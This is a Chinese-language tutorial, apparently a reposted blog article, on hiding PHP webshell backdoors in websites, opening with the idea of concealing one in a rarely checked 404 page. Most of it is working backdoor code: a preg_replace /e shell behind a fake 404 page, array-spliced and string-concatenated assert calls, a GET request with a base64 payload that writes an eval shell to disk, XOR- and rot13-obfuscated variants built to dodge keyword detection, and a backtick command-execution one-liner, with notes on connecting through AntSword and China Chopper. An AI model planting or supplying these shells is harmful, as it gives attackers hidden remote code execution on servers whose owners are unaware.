404页面隐藏木马
404页面是网站常用的文件,一般建立好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
<!DOCTYPE HTML PUBLIC \\\"-//IETF//DTD HTML 2.0//EN\\\">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace(\\\"/[pageerror]/e\\\",$_POST[\\\'error\\\'],\\\"saft\\\");
header(\\\'HTTP/1.1 404 Not Found\\\');
?>
直接访问——显示定制化的404友情提示:
下面我们使用蚁剑进行连接,在链接时我们需要添加body参数:
之后设置请求信息中的body参数:
之后进行远程连接:
数据拼接PHP后门
具体代码如下:
<?php
$POST[\\\'POST\\\']=\\\'assert\\\';
$array[]=$POST;
$array[0][\\\'POST\\\']($_POST[\\\'assert\\\']);
?>
assert是php代码执行函数,与eval()有同样的功能,因为$array[]、POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组,这样的话$array[0][\\’POST\\’]的输出就是assert,所以组成了一句话木马<?php assert($_POST[\\’assert\\’]);?>直接用菜刀链接即可密码为assert:
之后成功连接shell~
可变变量PHP后门
下面介绍一种通过GET函数构成木马的方法,首先上传一个get.php,文件名与文件内容不包含任何恶意内容:
<?php $_GET[a]($_GET[b]);?>
之后在浏览器中访问(有想知道url具体是什么含义的可以自我base64decode,其实就是打开文件写数据的操作):
http://192.168.174.159:82/webshell/get.php?a=assert&b=${fputs(fopen(base64_decode(‘c2hlbGwucGhw’),w),base64_decode(\\\'PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOyA/Pg==\\\'))};
之后可以看到在网站目录下生成了shell.php文件:
之后使用蚁剑链接:
可变变量木马变形
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写http://site/shell.php?2=assert密码是1
异或运算PHP后门
<?php
@$_++;
$__=(\\\"`\\\"^\\\"?\\\").(\\\":\\\"^\\\"}\\\").(\\\"%\\\"^\\\"`\\\").(\\\"{\\\"^\\\"/\\\");
$___=(\\\"$\\\"^\\\"{\\\").(\\\"~\\\"^\\\".\\\").(\\\"/\\\"^\\\"`\\\").(\\\"-\\\"^\\\"~\\\").(\\\"(\\\"^\\\"|\\\");
${$__}[!$_](${$___}[$_]);
?>
说明如下:
Step 1:\\”^\\”为异或运算符。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。
Step 2:$_++;这行代码的意思是对变量名为\\”_\\”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
Step 3:$__=(\\”`\\”^\\”?\\”).(\\”:\\”^\\”}\\”).(\\”%\\”^\\”`\\”).(\\”{\\”^\\”/\\”)——得到$__=_GET:
(\\\"`\\\"^\\\"?\\\") 01100000^00111111=01011111 —>”_”
(\\\":\\\"^\\\"}\\\") 00111010^01111101=01000111—>”G”
(\\\"%\\\"^\\\"`\\\") 00100101^01100000=01000101—>”E”
(\\\"{\\\"^\\\"/\\\") 01111011^ 00101111=01010100—>”T”
Step 4:$___=(\\”$\\”^\\”{\\”).(\\”~\\”^\\”.\\”).(\\”/\\”^\\”`\\”).(\\”-\\”^\\”~\\”).(\\”(\\”^\\”|\\”);————得到$___=_POST
(\\\"$\\\"^\\\"{\\\") 00100100^01111011=01011111—>\\\"_\\\"
(\\\"~\\\"^\\\".\\\") 01111110^00101110=01010000—>\\\"P\\\"
(\\\"/\\\"^\\\"`\\\") 00101111^01100000=01001111—>\\\"O\\\"
(\\\"-\\\"^\\\"~\\\") 00101101^01111110=01010011—>\\\"S\\\"
(\\\"(\\\"^\\\"|\\\") 00101000^01111100=01010100—>\\\"T\\\"
Step 5:${$__}[!$_](${$___}[$_]);————得到$_GET[0]($_POST[1]);
Step 6:构造一句话木马,将“0”当成参数,赋值为“assert”
Step 7: 使用菜刀工具连接,地址http://ip/b.php?0=assert 密码为1
rot13构造PHP木马
<?php
($b4dboy = $_POST[\\\'b4dboy\\\']) && @preg_replace(\\\'/ad/e\\\',\\\'@\\\'.str_rot13(\\\'riny\\\').\\\'($b4dboy)\\\', \\\'add\\\');
?>
在这里str_rot13(\\’riny\\’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
关键名称拼接木马
代码如下:
<?php
error_reporting(0);
$g = array(\\\'\\\',\\\'s\\\');
$gg = a.$g[1].ser.chr(\\\'116\\\');
@$gg($_POST[get]);
?>
在php中“.”表示将前后单位以字符串形式拼接 数组g[1]=s, char(116)是t ,gg连起来就是assert 整个一句话为@$assert($_POST(get)),直接使用菜刀连接即可:
最短的一句话木马
木马如下:
<?=`$_GET[1]`;
简易解释:\\”<?=\\”是PHP的一个短的开放式标签,$_GET[1]获取传入变量名为\\”1\\”的值,而反引号包裹的内容会被成功执行一次,从而成功构造出一个一句话木马
执行效果:
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34087.html